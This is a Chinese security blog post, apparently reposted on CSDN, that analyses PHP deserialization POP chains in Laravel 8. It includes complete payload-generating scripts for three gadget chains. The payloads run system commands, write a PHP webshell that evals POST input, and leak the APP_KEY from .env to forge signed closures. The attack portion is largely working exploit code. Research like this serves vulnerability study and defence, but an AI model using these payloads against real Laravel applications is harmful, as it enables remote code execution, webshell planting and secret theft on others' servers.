java反序列化漏洞POP查找_Laravel8反序列化POP链分析挖掘

本文深入分析了Laravel 8框架中的反序列化漏洞,探讨了POP链的查找过程,包括不同入口类如PendingBroadcast和FileCookieJar的__destruct方法,以及如何通过__invoke和__call触发方法执行。文中详细介绍了如何构造payload以绕过限制,实现文件写入等操作,同时也指出了Laravel 8相较于5.X版本在安全性和组件更新上的差异。
摘要由CSDN通过智能技术生成

1582c82279ae8b5eb16d20a2ad76722e.png

作者:Dig2@星盟

前言

作为目前PHP最主流的框架之一,Laravel的主体及其依赖组件一直保持着较频繁的更新。自从2020年9月份Laravel 8发布以来,已经更新了四十多个版本,平均每个月都有八次左右的更新。除了优化,还有重要的原因在于安全性。例如CVE-2021-3129可以在Laravel的Debug模式下任意代码执行。这个CVE的命令执行步骤中有一部分依赖于Phar反序列化的执行。相比较于目前被分析较多的Larave 5.X版本的POP链,Laravel 8 部分组件版本较新,部分类加上了方法进行过滤或者直接禁止了反序列化,故利用方式有所差异。本文分析并挖掘了当前Laravel 8版本中的反序列化链。

__wake

使用composer默认安装方式

composer create-project --prefer-dist laravel/laravel=8.5.9 laravel859

Laravel版本8.5.9,framework版本8.26.1,具体组件版本可参照Packagist Laravel

手动添加反序列化点:

/routes/web.php:

use Illuminate\Support\Facades\Route;use App\Http\Controllers\IndexController;Route::get('/', [IndexController::class, 'index']);

/app/Http/Controllers/IndexController.php:

namespace App\Http\Controllers;use Illuminate\Http\Request;class IndexController extends Controller{ public function index(Request $request) { $p = $request->input('payload'); unserialize($p); }}

反序列化链分析

链一

寻找__destruct

入口类为:的

\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

class PendingBroadcast

这是一个很经典的入口类了,如果读者有研究Laravel 5的反序列化链,可能会知道这个类。其方法:

__destruct

3096b2f373eec7a3a1e89d17a1295451.png

我们可以控制和。如果使为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法。

$this->events

$this->event

$this->events

寻找dispatch方法

的存在dispatch方法

\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

class Dispatcher

e92b145fba375d000331a00216a9e44b.png

可控,可控,要求为ShouldQueue的实例

$command

$this->queueResolver

$this->commandShouldBeQueued

$command

122f2ead4ccf178012fb359fa2f1e240.png

全局搜索,随便找一个ShouldQueue的子类即可

621cbd3b76eb67673180ae4894a59c3a.png

然后就能够进入方法

$this->dispatchToQueue

32c78b1151dddfa1c64de31a0fc37acd.png

和均可控。payload如下:

$this->queueResolver

$connection

// 1.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher('system'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}

加强

上面的利用方法中,执行时,执行的函数只有一个参数。如果现在需要执行一个多参数函数比如file_put_contents就没办法了。

call_user_func($this->queueResolver, $connection);

$connection

注意到这里call_user_func的第一个参数除了可以是函数名字符串,还有两种可以利用方式:

使第一个参数为一个类,就能调用该类的方法

__invoke

使第一个参数为数组,例如,表示调用类A的foo方法。下面分别介绍这两种方式例子

[class A, 'foo']

法一:调用__invoke

这里的利用稍为复杂

在的找到了一个非常漂亮的函数

\vendor\opis\closure\src\SerializableClosure.php

class SerializableClosure

__invoke

1dda2e7994bdb8e032dd93657530b57f.png

这里的和均可控,我本来以为能够直接RCE了,然而后面还有两个棘手的问题。

$this->closure

func_get_args()

一个是该类使用的不是标准序列化反序列化方法,而是实现了自己的序列化和反序列化方法:

f4d203be77edc50fb61639a34b267ec2.png

7e86efd3aa134a71dc9f21fbd44e50eb.png

其实这个问题不难解决,我们可以在生成payload的时候,使用composer引入该组件:

composer require opis/closure

然后在生成payload的代码中加入:

require "./vendor/autoload.php";

再:

$func = function(){file_put_contents("shell.php", "");};$d = new \Opis\Closure\SerializableClosure($func);

就能生成该类实例了

第二个棘手的问题在于,Laravel 8和Laravel 5有一个区别。Laravel 8在序列化和反序列化该类时,使用了验证secret。

4c7960e42c24f819b96450932d78da17.png

a5e3a7818e88767bbc04a4d0002c0e6d.png

该secret由环境变量配置文件,也就是中的决定,Laravel安装的时候,会在文件中生成一个随机的,例如:

.env

APP_KEY

.env

APP_KEY

APP_KEY=base64:2qnzxAY/QWHh/1F174Qsa+8LkuMoxOCU9qN6K8KipI0=

我们在本地生成payload的时候,也要手动生成一个,并且secret和远程受害者要是一样的才行。方法为,在本地的的源码文件中加入这么一行(字符串为受害机文件中的密钥):

static::$securityProvider

class SerializableClosure

SerializableClosure.php

.env

053bb82b19631691af6a7d9ce161fd91.png

那么如何获取受害机的呢?我们在上面既然实现了单参数的任意函数执行,那么就行了。当然,如果有其他漏洞点能够泄露配置文件就更方便了。

APP_KEY

file_get_content('.env')

综上所述,生成payload脚本:

// 1-1.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace { require "./vendor/autoload.php"; $func = function(){file_put_contents("shell.php", "");}; $d = new \Opis\Closure\SerializableClosure($func); $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher($d); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}

法二:调用另一个类某可控函数

这里使用了JrXnm师傅在其文章Laravel 5.8 RCE POP链汇总分析中提到的方法,使用的,在下面链二的加强中演示。payload一并放在文末的github地址中。

vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

class LazyOption

链二

寻找__destruct

同链一,入口类为:的

\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

class PendingBroadcast

247921388e0dfe8d23a9fbf281011d5e.png

我们可以控制和。如果使为某个类,并且该类没有实现dispatch方法却有方法,那么就可以调用这个方法了

$this->events

$this->event

$this->events

__call

寻找__call

随后找到位于中的

\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

class Validator

它有方法:

__call

9be0173051d6cdd765d47f2f9712a49f.png

可控,为固定字符串dispatch,取后,为空字符串,故为。可控,跟踪方法

$parameters

$method

substr($method, 8)

$rule

''

$this->extensions

$this->callExtension()

288f1d9ff30dfd4f0e33c8368b47884a.png

和都是可控的,于是一条利用链就出来了。payload如下:

$callback

$parameters

// 2.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace { $b = new Illuminate\Validation\Validator(array(''=>'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); print(urlencode(serialize($a)));}

加强

对于链二的总结就是:

$callback(... array_values($parameters));

可控,最多只能为单成员的数组。所以这里也具有无法执行多参数函数比如的问题。

$callback

$parameters

file_put_contents

注意到这里利用的是PHP中的可变函数,经过实验,如下代码可行:

class A{ public function __invoke(){ echo "invoke".PHP_EOL; } public function test(){ echo "test".PHP_EOL; }}$callback1 = new A;$callback1(''); // 输出invoke$callback2 = array(new A, 'test');$callback2(''); // 输出test

因此,可以控制上面利用链中的为数组,就可以调用某其他类任意函数了。

$callback

的是一个很好的选择。

vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

class LazyOption

其option方法可以调用call_user_func_array函数,且两个参数都可控

93b651c067d22c1b37e411980249514b.png

虽然option是private属性的方法,在其它类中无法直接调用,但是可以发现在该类自身中,许多函数都在调用option函数

6895881b7ea9ee1537e87225c02ce709.png

于是构造成功,payload如下所示

// 2-1.phpnamespace PhpOption { class LazyOption { private $callback; private $arguments; public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } }}namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace { $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "php eval(\$_POST['Dig2']) ?>"]); $b = new Illuminate\Validation\Validator(array(''=>[$c, 'select'])); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'not important'); print(urlencode(serialize($a)));}

链三

入口类为的。此类在Laravel 5中没有出现。其有函数:

\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php

class FileCookieJar

__destruct

1d8d71f06a41c16b4ca6c8dbfdcc23ca.png

可控,跟踪save函数:

$this->filename

056a4892da8c25a8a2f6ed588383c128.png

有file_put_contents函数。一路顺下去,能看到该类的接口是实现了IteratorAggregate的,如下

interface CookieJarInterface extends \Countable, \IteratorAggregate

也就是说它实现了自己的方法,这里同样用composer安装一下该组件再进行获取序列化字符串比较方便。因为我们要通过其父类的SetCookie方法来设置这里的值。其余没有什么值得注意的地方,比较简单,payload如下:

foreach ($this as $cookie)

$cookie

// 3.phpnamespace{ require "./vendor/autoload.php"; $a = new \GuzzleHttp\Cookie\FileCookieJar("shell.php"); $a->setCookie(new \GuzzleHttp\Cookie\SetCookie([ 'Name'=>'123', 'Domain'=> "", 'Expires'=>123, 'Value'=>123 ])); print(urlencode(serialize($a)));}

总结

Laravel 8相对于Laravel 5而言,增加了几个组件,又去掉了另几个组件。利用链有部分重叠,也有修复与增补。整体分析下来,思路是非常清晰的,从函数到或者等,再到危险函数完成RCE,中间或许需要跳板反复利用。密钥等信息的泄露也会带来RCE的风险。

__destruct

__invoke

__call

上面代码集合:https://github.com/WgagaXnunigo/laravel8_POP_RCE

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值